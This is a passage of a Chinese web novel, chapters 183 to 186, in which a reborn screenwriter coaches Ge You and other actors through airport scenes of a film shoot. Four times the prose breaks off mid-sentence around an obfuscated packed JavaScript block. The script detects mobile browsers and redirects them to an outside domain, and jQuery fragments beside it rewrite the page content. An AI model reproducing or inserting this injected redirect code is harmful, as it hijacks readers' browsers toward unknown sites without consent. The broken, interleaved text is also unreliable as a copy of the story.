又一年后,林周云连续被拒签两次,还是没能走成。 两人在电报大楼再次偶遇,顾颜向林周云提出来搭伙过年。 高远在这里也做了些改动,把年假缩短为四天,更符合这个年代的特征。 愉快地过了个年,两人蓦地发现,其实两个人在一起蛮合适的,于是越走越近,约定好逢年过节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535991|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在一起过。 偏偏这时候,林周云的签证下来了…… 整个故事,开头略显碎片化,戏剧的张力全在后面的情节中。 为了适应这个时代的特色,高远对整部电影做了重新梳理。 比如说,这年头儿首都国际机场是没有直飞美国的航班的。 他就改为,让顾颜的妻子先飞上香港,在香港经停后再飞纽约。 加了句台词:“这一趟,太折腾人了,出国也很费劲的,转机转机再转机,我也不容易……” 摄像机位搞定了。 王好为在跟高远做最后的交流。 高远说道:“导儿,您也别太心急了,机场的戏份很重要,我不追求拍摄进度,我要的是精彩度。” 王好为知道高远很看重这部片,于是点点头,道:“好,咱们齐心协力,一定把这部片子拍成精品,争取拿个大奖回来。” 副导演钱康带着俩剧务正在跟乘客们做沟通。 “待会儿开拍后,愿意露脸地往这边来,不愿意的请您离远一点,别耽误拍摄,我在这里感谢大家的配合了。” “不不不,别看镜头,该干嘛干嘛,看镜头就太刻意了,您当摄像机不存在就是了。” 沟通完毕,剧组也拉开了架势。 葛优拿着半根烟,坐在窗户前,神情紧张地左顾右盼。 王好为往监视器后面一坐,见大家都准备好了,大声喊道:“先走一遍啊,优子和沛宁准备了,我喊123就开始走戏。 1、2、3,开始!” 大热的天,光线透过窗户照射进来,穿一件白衬衣,外面罩着件黑色大衣的葛优汗流满面,四处张望。 米黄色风衣、白色高领毛衣,大波浪,俩耳垂上挂着一对闪闪发光耳坠的邱沛宁推着行李车吧嗒吧嗒走过来。 “嗨↗↘↗,嗨↗↘↗……”她笑容满面,逢人就打招呼,又美又飒,又骚又浪。 顾颜站起来,照样拿着半截烟,接上了话:“跟谁乐呢?熟人都来了?” “非得跟熟人乐啊?出门在外,就得礼貌周到,美国人特讲究这个,这叫温馨。” 邱沛宁一撇嘴,四下里看了看,说出了高远修改的那句台词:“这一趟,太折腾人了,没想到出个国这么费劲,转机转机再转机,你先把行李装上吧,我先去趟厕所,等飞到香港得好几个小时呢,我怕憋不住。” “国际航班我不清楚,反正国内航班都有厕所。” 王好为皱皱眉头,说道:“停一下!” 葛优和邱沛宁同时望向王好为。 王好为想了想,起身走过来,说道:“太干巴了,感情没发挥出来啊,尤其是你,优子,沛宁说完,已经向前走去找厕所了,你还在那儿小声嘀咕,你老婆能听得见吗?” 葛优挠着头,道:“不好意思啊导演,我没发挥好,有点紧张了。” 王好为清楚葛优是第一次拍戏,她很宽容,笑着说:“没关系,一遍不行咱们就多走两遍。我跟你说,你和沛宁要有眼神的交流,你别把台词说得那么僵硬,就跟一对夫妻日常聊天一般。” 葛优偷瞄邱沛宁,脸忽地红了,道:“导儿,我不太敢看她啊,她太好看了,我怕把持不住。” 邱沛宁踹他一脚,气呼呼道:“瞧你那个怂样。” 王好为乐不可支道:“大胆一点,别像没见过女人似的。” 第183章 高老师调教葛大爷 高远、李健群、濮存昕、梁左和李诚儒在旁边瞧乐子。 这货也笑得不行了,“没想到优子还腼腆上了。” 李健群揶揄他道:“你当谁都跟你似的,没脸没皮都成习惯了。” “你说得对,我无言以对。”高远举手投降。 濮存昕和李诚儒都笑了起来。 李诚儒冲濮存昕努努嘴。 老濮会意地点点头,表示没错儿,他俩是男女朋友关系。 李诚儒了然,心说男才女貌,倒是一对璧人。 王好为给葛优说了一段儿,然后继续走戏。 葛优的表现只能算及格,虽然敢于同邱沛宁对视了,但台词仍旧说得磕磕巴巴。 时间转瞬即逝。 一下午,愣是连机器都没打开过。 王好为这会儿有些急躁了,顾颜这个角色立不起来,整部片子就垮了。 她又把葛优拎到一边,说道:“来来来,我再给你讲讲……算了,远子,你给优子讲讲!我跟他就掰扯不明白!” “诶,来了!” 高远颠儿颠儿跑过来,对王好为说道:“导儿,您先甭着急,我知道优子的问题出在哪儿,要不咱今天先收了吧,天儿也不早了,回去后我跟他聊聊。” 王好为叹声气,道:“也只能这样了……大家伙儿都有,收拾器材,撤了!” 剧组呼呼啦啦开始撤场,把拍摄器材搬到车上,大家乘坐面包车回北影厂。 葛优坐在最后排座位上,他困惑、郁闷、心情低落,两眼无神望着窗外疾驰而过的高楼大厦,一路上没言语。 车子开进厂停稳后,门打开,大家鱼贯而出。 葛优蔫头耷拉脑地走下来。 高远拍拍他的肩膀,道:“找个地儿喝一杯?” 葛优点头道:“我也是这个意思,天儿太热了,吃点啥啊?” 李诚儒走过来说道:“出大门左拐,刚开了家烤串店,老板是新江人,羊肉串烤的味道好极了。” 高远眼睛一亮,急不可耐道:“走走走,烤串去,我请客。” 他重生回来后还真没吃过烤串。 一是因为这年头儿做生意属于投机倒把,没人敢明目张胆地开店。 二是牛羊肉属于稀罕物,定量供应,当然只限于汉民。 你要是去牛街,还是能买到牛羊肉的。 但烧烤摊子找不着啊,这年头儿还不流行吃烧烤呢。 高远要请客,哥儿几个都不太好意思去,也都清楚高远找葛优有话说。 他招呼诸位道:“都甭客气了,大家能聚在一起就是难得的缘分。再者说我也需要跟大家伙儿一起交流交流,给个面子吧。” 濮存昕率先响应道:“那成,我们就不跟高老师客气了,走着吧,烤串去。” 葛优、李诚儒、杨立新、谢园,梁左,外加一个张新民跟随高远一起往厂门口走去。 李健群一瞧,遂拉着王好为、张金玲、邱沛宁还有方舒追了上去。 “走,不吃白不吃。” 王好为乐了,道:“高老师是大款,宰他一顿吃不穷他。” 方舒问道:“高老师很能挣吗?” 王好为笑道:“这你就得问健群了。” 李健群低声道:“他一个剧本能卖三万港币。” 方舒:“……万元户啊!” 随着改革开放的兴起,万元户这个词已经逐渐流行开了,尤其是山东、江浙沪一代,已经诞生了很多通过辛勤的劳动率先富起来的人。 后世有个准确的换算标准,当前的一万块钱,相当于后世225万元整。 可见其购买力之强大。 一行人来到烤串店门前。 高远见这是间平房,如李诚儒所说,老板是个留着八字胡,头顶花帽的新江大叔。 一个两米长的烧烤炉子里面木炭噼里啪啦,火光跳动。 新江大叔正在烤串。 “来了,屋里坐还是外面坐?”新江大叔操着一口僵硬的维族普通话笑容满面地问道。 “大叔您好啊,屋里太热了,我们坐外面吧。”高远笑着回答道。 “好,古丽,搬两张方桌出来。” 屋里的姑娘答应一声,片刻后和一个小伙子抬了两张方桌出来,又拿来马扎。 两张方桌对在一起,大家落座。 “吃点啥?”叫古丽的姑娘笑着问道。 “大叔烤啥我们吃啥,您看着给安排吧。对了,有酒吗?”高远问道。 “有扎啤,也有二锅头。” “几位,喝啥?” “喝扎啤吧,天这么热,喝点扎啤舒坦。”濮存昕说道。 高远笑道:“那就喝扎啤。” 古丽姑娘去安排了。 不大会儿,烤串上来了,放在一个塑料盘子里。 高远招呼大家先垫垫肚子。 他拿起一串递给温柔大姐姐,自己也吃了一串,“哎呀,外焦里嫩,滋滋冒油,这是一种难得的享受啊。” 大家都说很好吃。 啤酒倒上,又共饮了一杯,就叫一个地道。 葛优情绪依然不高,喝口酒吃口肉,愁容满面的样子。 谢园率先打开了话匣子,对葛优说道:“怎么没发挥出来?” 葛优叹声气。 杨立新说道:“要我说,你是没掌握对方法,拍戏经验少,突然被拉到战场上就容易发懵。” 葛优耷拉着脑袋说道:“我心说我那人物也不复杂啊,性格也不难把握,可就是找不到状态,我这头发本就不富裕,这一下午拍下来,愁得我发际线又往后移了。” 大家都笑了起来。 高远笑道:“说说你的直观感受。” 葛优撸个串,犹犹豫豫道:“感受……你也看见了,拍不好,是我表演水平有问题,耽误了剧组的拍摄进程,我有点臊得慌。” “那你认为,你的表演存在什么问题?” “思想认识不到位,理论学习不深入,对人物的理解扁平化,表演中缺少灵魂。” “你现在说话不老母猪戴胸罩,一套接一套的么,为什么不用到表演中去呢?” 大家又笑喷了。 葛优没笑,反而瞪大眼睛说:“这就是我生活中的状态啊,这玩意儿能用到电影表演中去么?” 高远反问道:“为什么不能呢?” 同志们闻言,都陷入到思考中去了。 高远没给大家太多思考的时间,端起酒杯跟濮存昕碰了碰,仰脖将扎啤干了,一抹嘴,说道:“咱们纯探讨啊,各位老师认为,表演是什么?” 王好为率先说道:“说句浅显的,表演就是演谁像谁。” 高远问道:“像谁呢?” 王好为翻个白眼道:“废话,像人物啊,像剧本里的人物。” “这么说也对,但表演又是个极其复杂的东西。” 高远顿了顿,好像在组织语言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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高远没搭理他,见大家都把目光定格在自己脸上,他不卖关子了,继续说道:“想要在短时间内提高演技,我曾经跟二子哥说过这事儿,方法只有一个,你日常怎么说话,在戏里就怎么表达。 但这个方法只适用于二子哥,因为他的喜剧表演方式是外放型的,本人在日常生活中也比较跳脱。 优哥就不行了。” “对,优子说话像温水煮青蛙。”王好为笑着评价道。 “更恰当地说,他属于那种不经意间逗你一乐的类型。”高远说道。 大家齐齐点头,对他这个观点非常认同。 葛优摸摸脑袋,说道:“说实话,我从来没想过我属于那种类型的演员,对自己没有定位,让你这么一说,我后背起了一层鸡皮疙瘩。 高老师,你看人太准了。” 高远笑笑,撸个串说道:“在我看来,表演无非有三种方式,技术、情感和自身的表达。” 濮存昕来了兴趣,道:“详细说说。” “前两者,在西方是非常流行的表演方式,像什么表现派、体验派、方法派,各位都是很成熟的演员了,我就不班门弄斧了。” 他又喝杯啤酒润润嗓子,道:“我只说最后一种,自身对饰演人物的表达,大演员、资深演员,拿到一个角色后首先要做的是在脑海中对该人物形象进行建模。 会不自觉地将人物拆解开来,然后重新进行构造,以达到一种超越编剧预设人物性格特点的境界。 这种大演员往往是可遇不可求的……” 第184章 戏疯子 “说的有点深了,直白一点,直白一点。” 葛优打断高远的话,两眼放着光,道:“我文化水平不高,你说点我能听懂的,最好直接告诉我,顾颜这个角色我该怎么演。” 李诚儒没憋住,乐了,“说起来咱们这帮人里面,正儿八经的大学生真不多啊。” 王好为笑道:“小高,小梁、健群、方舒,还有小谢,也不算少了。” 高远把话题拉了回来,道:“优哥,你说说,顾颜的性格特点是什么?” 葛优琢磨琢磨,道:“他就是一个靠一技之长平淡生活着的小人物,没什么高大上的追求,安于现状,外表平凡,嘴特贱,有些不招人喜欢的小毛病。 但是善良、温情、实在、会生活、懂感情、不虚张声势,还善解人意。” 高远一拍巴掌,说道:“你这不是全懂么。” “但是我表现不出来啊。” “这就是我说的,你演技不达标,情感不饱满。所以,你表演出来的人物就显得很空泛,虽然分析的很到位,但**用没有。” “那怎么办啊?” “这又回到那个老话题了,你别老想着扮演顾颜,你得把自个儿当成顾颜。开头儿那段词还记得吧?” “记着呢。” 高远歪着头,对邱沛宁说道:“姐,拿着你的马扎坐过来。” 邱沛宁拎着马扎过来了,挤开谢园,在葛优身边坐下,道:“现场演一段儿?” “嗯,辛苦您再跟优哥对对词儿。” “没问题。” “优哥你记住,平时怎么说话现在就怎么表达,别端着,也别想这是在演戏。” 葛优说好。 邱沛宁嗨了两声后,他深吸一口气。 “跟谁乐呢?熟人都来了?” “非得跟熟人乐啊,出门在外,就得礼貌周到,美国人特讲究这个,这叫温馨。 这一趟,太折腾人了,没想到出个国这么费劲,转机再转机,你先把行李装上吧,我先去趟厕所,等飞到香港得好几个小时呢,我怕憋不住。” 葛优突然来了精神,提高点声音,抑扬顿挫道:“哎,哎!国际航班我不清楚,反正国内航班都有厕所。” 王好为拍着手,惊喜道:“优子找到感觉了,这段儿演得很放松,恭喜你啊。” 高远也冲他竖起大拇指道:“你自个儿也觉得痛快了吧?” 葛优抓耳挠腮,亢奋又激动,咧嘴笑着说:“像是……像是捅破了一层窗户纸,一下就明白该怎么表达了。” 高远继续提点他,道:“其实你还可以再放松一点,再教你个小技巧吧,你把说话的频率放慢一些,温吞的,就更抓人了。” 葛优端起酒杯,郑而重之说道:“到家后我好好琢磨琢磨,感谢啊,高老师,走一个呗。” “走一个。” 两人干了一杯。 新江大叔又送过来一大把烤肉筋。 大家继续大快朵颐。 濮存昕几个人都服气了,在场的几位外聘演员都是话剧咖,鲜少参与过电影拍摄。 今儿听了高远这番高谈阔论,皆感觉到获益匪浅。 这个小兄弟,在电影艺术上的造诣令人刮目相看啊。 李健群心说,你们是没见过他发骚的样子。 哎呀,没眼看啊没眼看。 一顿饭吃完,彼此间的感情更深厚了。 剧组融洽的气氛直接拉满。 高远结了账,连串带酒带北冰洋汽水,拢共花了21块钱。 一块钱四个串儿,这物价太感人了。 第二天,拍摄继续。 第一条顺利通过。 找到感觉的葛优自信心爆棚。 王好为喊声好,又道:“优子不错了,比昨儿个进步太多了。下一场,准备,开始!” 顾颜和妻子对视着,一时间相顾无言。 邱沛宁张了张嘴,轻声道:“你是不是后悔送我走了?” “我没那么脆弱。” 葛优扔了烟头,自己加了点小动作,抬脚踩了踩,嗓音低沉且缓慢,道:“跟你结婚这么多年,好多朋友都冷落了。这回正好,重新建立联系,我不会太寂寞的。” “也就是说,没有一点依依惜别之情?” 接下来,原版中葛优会说出那句经典台词:“其实我也知道,你这一走,就是肉包子打洋狗,将来发了别忘了给我寄点钱来,就算情深义重了。” 高远这版没有了,他挪到了后面。 只见葛大爷低着头,以沉默应对,还在用脚搓着烟头儿。 高远蹲在王好为身边,眼睛一眨不眨盯着监视器,心中雀跃不已。 这个镜头有那么点儿高级的意思了。 尤其是邱沛宁,这会儿眼眶通红,嘴角却是往上翘着的,给人一种强颜欢笑的感觉。 任谁都能看出来,她即将出国,心情激动,但面对分别,又有些伤感。 葛优缓缓抬起头,柔情凝视着面前这个跟自己在同一张床上睡了好几年的爱人,抬手,停住,又抬手,摸了摸那张吹弹可破的俏脸。 邱沛宁演技大爆发,猛地扑进葛优怀里低声哭泣。 葛优后撤了半步,似乎人还没走,就已经不习惯这种近距离的身体碰触了。 他嗓音低沉,拍拍妻子的后背,道:“得了得了,你要是不想走,咱这就退票去。” 邱沛宁从他怀里挣脱出来,剜他一眼,瞬间恢复了精气神儿,神采奕奕、又柔又媚,“去你的,谁说我不想走了?” 说着,在他脸上亲了一口,道:“走了!” ……………… 哎呦,这段戏份两人演的那叫一个流畅自然、浑然天成。 在场的各位都拼命鼓掌。 王好为双眼都亮晶晶的,开心地说道:“太好了,这段表演太好了!” 高远也觉得特别棒,他竖起大拇指道:“优哥,宁姐,这份儿的!” 葛优嘿嘿笑道:“你还是叫我优子吧,猛地一叫优哥,我还怪不习惯的。” 稍微喘口气儿,喝点水,继续开拍。 还是顾颜送别妻子的戏份。 “各部门准备起来。” “优子和沛宁走一遍戏。” 两人按照导演的吩咐走了一遍,效果出奇的好。 王导喊道:“好,新民开机,准备实拍。” 安检入口处,葛优一遍遍叮嘱着:“你记住啊,先交申报单、护照,领登机牌,托运行李,然后填出境单……” 邱沛宁诶诶应着,目光却始终追随着白皮肤黄头发的老外,丝毫不掩饰对资本主义腐朽生活的向往之情。 “过了,下一场!” 高远问王好为道:“不再保一条吗?” 王好为笑道:“这两人状态太好了,正处在完全深入到角色中的状态中,得趁热打铁啊。” “您经验丰富,听您的。”高远从善如流。 邱沛宁推着行李车往里面走,边走边说道:“我走了,你也好好的。” “嗯,来信吧。” 葛优眼巴巴看着她进了安检,自己贴在透明窗户前打量着在办理手续的妻子。 邱沛宁视乎感受到了葛优的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536394|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回身一个飞吻,笑容灿烂,目光中隐约有泪光闪现,然后头也不回地走了。 葛优把整张脸都贴在了玻璃上。 此时,他突然转过头来,喊道:“停!” 王好为都惊了,冲张新民摆摆手。 张新民松开了摁在拍摄键上的手指头。 王好为站起来,问道:“优子,怎么了?” 葛优搓搓脸,道:“感觉不对,情感不够强烈,可是顾颜的情感又是内敛的,中间这个分寸感很微妙,在强烈和内敛中找到这个平衡点,对我来说有点难。 导演,您给我几分钟时间调整调整。” 不仅是王好为,高远他们几个都懵圈了。 我靠,你进化得这么迅速吗? 都知道给自己找不足了。 王好为轻笑道:“好,你先找找状态,我们不着急。” 葛优点点头,一个人又跑到窗户边蹲下,摸出根烟来点了,低着头也不说话。 乘客们好奇地打量着剧组这帮人,有几个还指指点点的。 高远冲钱康使了个眼色。 钱康会意,走过去跟乘客们笑谈起来。 高跃林摸过来,问道:“优子怎么了?” 我还想问你呢,昨儿怎么没见到你啊。 “把握不住人物的心理,自个儿找状态去了。”高远解释了一句。 “很敬业啊。” “你昨天干嘛去了?” 高跃林嘿嘿一笑,道:“老刘家和老韩家扛不住,搬走了,我跟导演请了天假,回去拆房子了。” 高远一听也精神倍增,道:“老宅子全须全尾归咱了?” 高跃林点着头说:“嗯,归咱了,等盖完后我去街道房管所办个手续,把名字一改就齐活了。” “这可是件大喜事,值得包顿饺子吃。” “那就包呗,找个礼拜天儿,我买肉买菜,去你家包饺子。” 中国人,尤其是北方人,没啥喜事是包顿饺子庆贺不了的,如果有,那就包两顿。 葛优足足抽了三根烟,闷头儿想了五分钟,方才站起身走到导演身边,说:“导儿,再试试?” 王好为瞧着他,点头道:“那就再试试。” 葛优走回到玻璃前,把脸贴上去,瞧着正在里面办手续的邱沛宁。 还是不对。 他蹲下来又搓脸。 王好为也看出来了,马上喊了停,劝说道:“优子,别勉强自己。” 葛优这会儿不服输上了,坚定道:“再来!” 于是再来。 这场戏足足折腾了一个多小时,他还是没找到那个微妙的感觉,心烦意乱,抓耳挠腮的。 高远劝道:“这眼看就快中午了,要不先吃饭,下午再接着拍。” 葛优苦笑道:“不行,下午就更找不着感觉了,我缓缓,然后继续。” 咋还成犟种了呢? 高远无奈,也看出了优哥对戏的执着。 一个人的成功从来都不是没理由的。 优哥后世为什么能成为人民喜爱的表演艺术家? 你以为他只是因为表演天赋很高吗? 错了,他认真抠戏、抠人物的时候,你们都没见到过。 又是十分钟过去了。 葛优信心十足地说道:“导演,我提个请求。” 王好为笑道:“你说。” 葛优又看看高远,道:“待会儿甭管我怎么演,让新华老师一直跟着我,也别走戏了,直接开拍,这个片段我只能一遍过,过不了就完犊子了。” 王好为想了想,点头说:“好,那就直接开拍。” 第185章 入戏 全体工作人员,不管是台前的还是幕后的,包括前来督战的副厂长**雄,全都被葛优精湛的表演震住了。 **雄对制片主任田渝平感慨道:“我从业这么多年,从来没遇到一名演员像优子似的死抠一个片段的,这已经走了二十多遍戏了吧?” 田渝平望着不远处大汗淋漓的葛优,道:“第27遍了,这小子,对戏严谨啊。” **雄摸着下巴颏也看向葛优,嘀咕道:“如此优秀的演员,怎么能便宜了全总文工团呢?” 高远在旁边笑着说道:“朱叔,您也起爱才之心了?那您得赶紧行动起来了,晚了全总文工团的录取通知书可就下来了。” **雄思忖片刻,道:“这样,远子,等优子这场戏结束了你去征求一下他的意见,问问他愿不愿意到北影厂来工作,他愿意的话,手续我来办。” 高远点头说好,他没想到,自己这蝴蝶的翅膀一扇起来,把优哥的人生都扇歪了。 葛优把大衣脱了,喊了一嗓子:“给我拿条毛巾来。” 剧务嗖地甩过来一条毛巾。 他接住,擦了脸又擦了头,重新把大衣穿好,戴上棒球帽,对邱沛宁说道:“宁姐,待会儿你还按照自己的节奏来就成,不要管我怎么演,也千万不要看我。” 邱沛宁也一脑门儿汗,大夏天的拍深秋的戏份,演员们着实受罪。 她点着头说好。 两人已经培养起一点默契了。 张新华哟喝了一嗓子:“优子准备好了没?” 葛优走过去,简单跟他交流了两句,对导演说道:“导儿,可以了。” 王好为一声令下:“好,各部门准备,1、2、3,开拍!” “嗯,来信吧。” 邱沛宁推车行李车走进去,办手续、转身飞吻,头也不回地走了。 里面人来人往,外面熙熙攘攘,隔着一道厚重的玻璃墙,演绎着一出出人世间的悲欢离合…… 葛优瞪大眼睛看过去,努力在人群中寻找着那抹米黄色的身影,他找到了,她越走越远。 他又往上看,往四周看,转身快步跑到二楼,扶着栏杆俯身向下面看,挥了挥手,又颓然放下,妻子并没有看到。 接着又换到了另一边,脚步略显仓皇,一直到妻子的身影彻底消失在他的视线中。 葛优忽地颓废了,用手狠狠搓着脸,慢慢蹲了下去,将头埋进了双膝中。 张新民站在他身后,后退了几步,镜头拉远,死死钉在这个孤单的背影上,黑色的大衣,黑色的帽子,驼着的背。 周遭喧嚣,与葛优表现出的落寞形成了鲜明的对比。 葛优清楚,这是他与妻子的最后一面了…… 监视器后面站了一堆人。 **雄、田渝平、高远、李健群、钱康、濮存昕、杨立新、李诚儒、谢园、张金玲、方舒。 看到这一幕,大家震惊且心酸。 震惊是被葛优出色的表演震撼住了。 心酸是因为竟生出了感同身受,尤其是几个大老爷们儿,仿佛离开的是自己媳妇儿。 以至于坐在导演专属软椅上的王好为一时间竟忘了喊停,死死盯住监视器,咬着下嘴唇,两行热泪从这个感性的女人脸颊上刷地淌落下来。 二楼上面的张新民都快疯了,胶片哗哗流啊,不要钱的吗? 我到底该不该停止拍摄啊? 高远率先缓过神来,他走到导演身边蹲下来,轻声提醒道:“导儿,可以了。” 王好为猛然惊醒,立马喊道:“好,过了!” 张新民这才停止了拍摄,走过去拍了拍葛优的肩膀,低声道:“优子,还好吧?” 葛优还在情绪中,扭头咧着嘴,道:“新民哥,您容我缓缓。” 张新民知道,这是彻底入戏的表现,他嗯了声,又道:“坐会儿得了,别坐的时间太长,赶紧抽离,下场戏还等着你呢。” 说完,他拎起摄像机自顾自下楼。 王好为激动不已,接过不知道是谁递过来的一方手帕擦了擦湿润的眼角,道:“优子这感觉抓得太准了,可以说,在我这多年的导演生涯中,这个镜头是拍摄的最完美的。” 她心中涌起了一股难以形容的兴奋,拍摄《大撒把》,一来是跟高远合作愉快,有默契,且喜欢这个剧本。 二来,她也有点小私心,明年,中断了十多年的百花奖最佳影片评选活动将要恢复举办的消息已经被放出来了,她有信心凭着这部影片给厂子争得荣誉。 自己则晋升到著名导演的行列中。 如果说之前她对《大撒把》这个故事的评价只是优秀的话,今天看了葛优的表演,王好为强烈地感觉到,今后再想碰到一个比《大撒把》还要优秀的作品,很难了。 当然,高远创作的除外。 在王导心目中,这小子就是个移动的故事宝库。 年轻人,不得了啊。 李健群愁容满面,见没人关注自己,大姐姐轻轻抓住高远的小拇指,低声说道:“优子演技大爆发了,这可怎么得了,我后面怎么拍啊?” 她头一次感受到了来自同行的巨大压力。 高远噗嗤笑了,轻声安慰道:“该怎么拍就怎么拍,这就叫棋逢对手将遇良才,他飙你也飙,这是一种很高级的享受。” 李健群眼巴巴望着他,又问道:“你还有什么要嘱咐我的吗?” 高远想了想,道:“机场拢共有两场重头戏,一场是送沛宁姐,一场是送你。但这两场戏又有所不同,沛宁姐是毫不留恋地走了,你嘛,给观众留了个悬念。 到底走没走成,让观众们猜去吧。 所以,在人物的呈现方式上你既要表现出对顾颜的不舍,又要在发现护照找不到的那一刻展现出一点小雀跃、小欣喜。 这两种情绪的快速转换很考验你的表演功底。 我建议你先让自己平静下来,先想清楚怎么把这两种情绪完成自然切换,戏演起来才会轻松。 另外,多跟优子交流交流吧,毕竟你俩的对手戏多。” “好,我听你的。”大姐姐稍微轻松了一下,眨眨眼,又问道:“远子,林周云最后到底走没走啊?” “你猜。” “我不猜!你直接告诉我答案。” “说实话,我也不知道。” 李健群哼了一声,松开手找葛优对词儿去了。 高远揉着鼻子说道:“还傲娇上了,我就不跟你说林周云到底走没走,我气死你。” 他发现,自打两人拉丝以后,好姐姐在自己面前更放得开了,这无疑是个好现象。 但她对其他人仍旧保持着距离,她这种性格,怎么说呢? 了解她的人晓得她是面冷心热,不了解的就会认为她仗着有天赋恃才傲物。 其实吧,她只是不懂得怎么交朋友罢了,不善与人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544870|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交际,只一心沉浸在自己的喜好的事物中。 钱康率领着高跃林、王诚栋抬过来两个大纸箱子,纸箱子里全是铝制饭盒。 他吆喝道:“同志们,放饭了,都过来领盒饭啊。” 王好为一挥手,大声道:“休息吧,抓紧吃饭,吃完休息半小时,咱们接着拍。” 演职人员呼啦就围了上去。 三人分工明确,一人一盒递给大家。 高远问道:“今儿是啥菜啊?” 钱康笑着说:“红烧肉和香菇炒油菜。” 有一说一,剧组的伙食不错。 钱康这位副导演尽职尽责,来机场联系拍摄场地时顺便跟赵总说了说演职人员的吃饭问题。 赵总是个敞亮人,问清楚大概有多少演职人员后手一挥,当即表示:“我让机场后厨单独给你们开小灶,吃得多好不敢保证,每顿饭一荤一素是绝无问题的。” 钱康说:“我们最多拍三天,完了以后一起跟您结账。” 赵总乐了,道:“看不起谁呢你这是?我偌大一个首都机场集团,还管不起你们三天饭么?提钱,场地你也别用了。” 钱康连声道谢,又给剧组省了笔钱。 红烧肉色泽鲜亮,香菇有嚼劲儿,油菜清脆,底下是米饭。 裹满了红烧肉汤汁的米饭散发着浓郁的香气,送进嘴里味蕾全开,就叫一地道! 高远身边围了一群人,他拿个勺,往嘴里扒拉一口米饭,嚼嚼咽下后问葛优道:“感觉如何?” 葛优也拿个勺,咬一口红烧肉,含混道:“酣畅淋漓。” 谢园咧着嘴笑,嗓音独特,“你这是找到感觉了啊,戏真好,差点儿没把我看哭了。” 葛优摇摇头,咽下一口饭,说道:“我发现自己有一毛病,一入了戏,就很难快速走出来。情绪全在那段戏里了,刚才憋得我险些背过气儿去。” 濮存昕感同身受,道:“入戏太深是会产生这种感觉的,优子,你这就叫体验派。” 葛优点点头,道:“濮老师说得对。” 方舒好奇地问道:“那您是怎么走出来的?” 旁边的邱沛宁嘿嘿笑道:“我的功劳,导演喊停后我看葛老师还蹲在二楼发愣,神情沮丧,就上了楼,在他面前一晃,说嗨~,葛老师噗嗤就笑了。” 葛优也没心没肺地笑着说:“我说,哦,原来你没走啊。跟做了个梦似的。” 大家都笑了起来,却没发现,已经吃饱饭的张新华扛着摄像机把这一幕拍了下来。 吃完午饭,大家休息了一会儿,下午继续拍摄。 林周云晕倒在候机大厅,濮存昕饰演的渣男丈夫上场。 顾颜五味杂陈走过来,被他拦住,恳求顾颜帮忙照顾林周云。 “诶同志,对就是您,劳驾,过来帮个忙行不行?”濮存昕怀里抱着李健群,急切地对葛优说道。 “什么事儿?怎么回事儿?”葛优愈发放松,自然搭话:“她怎么了?出什么事儿了?” “诶你倒是醒醒啊,你瞧赶这时候这算怎茬儿?” 濮存昕将李健群送进葛优怀里,起身拎起行李,语无伦次道:“拜托您了,谢谢您,您就把她,这,这,诶我这时间,他这飞机这,哎呀,我,拜托您了哥们儿。” 他转身走了。 葛优却不放过他,喊住了问道:“下什么药了你给她?嫁祸于人是不是?把箱子放下!” 第186章 好姐姐的郁闷 老濮很听话,果真把箱子放下了,右手背敲打左手心,做一脸无奈状,道:“哎呀,您误会我了,我什么也没……她可能太伤心了,我也说不清楚,我求您了,求您帮忙给她送医院吧。” “帮忙可以,你不能走啊。” “哎呦,哥们儿诶,我这是出国呀,您看我这护照,还有这机票。” “去哪儿去?蒙事儿呢吧?” 这时候,林周云醒了过来。 老濮关切地问:“周云,周云,没事了吧?” 李健群老师虚弱且体贴地说道:“你快走吧,走吧。” 两人把李老师搀扶起来。 渣男郑重向妻子表示,落地后第一时间给她打电话。 又从西装内兜里摸出一张名片递给葛优,这是为了增加信任感。 “哥们儿,拜托您了,这是我家地址,谢谢您了。” 说完转身就走。 老濮下线。 “好!过了!”王好为精神振奋。 高远手托下巴颏,轻声说道:“老演员就是老演员,这份台词功力太强大了,面部表情也生动形象。” **雄自然知道他指的是谁,点头道:“想要成为一名好演员,如果说有捷径可走的话,那么,在话剧舞台上锻炼几年,演技就会有个突飞猛进的增长。” “您说得对,虽说多拍几部电影也能取得这样的效果,但确实不如直接面对观众进行表演更锻炼人。”高远看得也挺通透。 **雄呵呵笑,“归根结底,还是你小子演员选得好啊,各具特色,特点鲜明。对了,我让你问的事情你问了没有?” 高远一拍脑门儿,道:“忘了。” 